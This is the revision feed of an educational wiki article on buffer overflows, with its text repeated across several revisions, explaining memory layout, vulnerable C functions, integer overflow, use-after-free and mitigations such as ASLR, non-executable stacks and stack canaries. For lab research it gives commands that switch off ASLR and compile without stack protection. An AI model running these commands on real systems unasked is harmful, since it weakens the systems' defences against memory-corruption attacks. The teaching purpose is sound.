Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16953</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16953"/>
		<updated>2024-12-11T11:16:34Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function.&amp;lt;ref name=”One1996”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16952</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16952"/>
		<updated>2024-12-11T11:15:32Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Readable, Writeable, Executable Memory */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
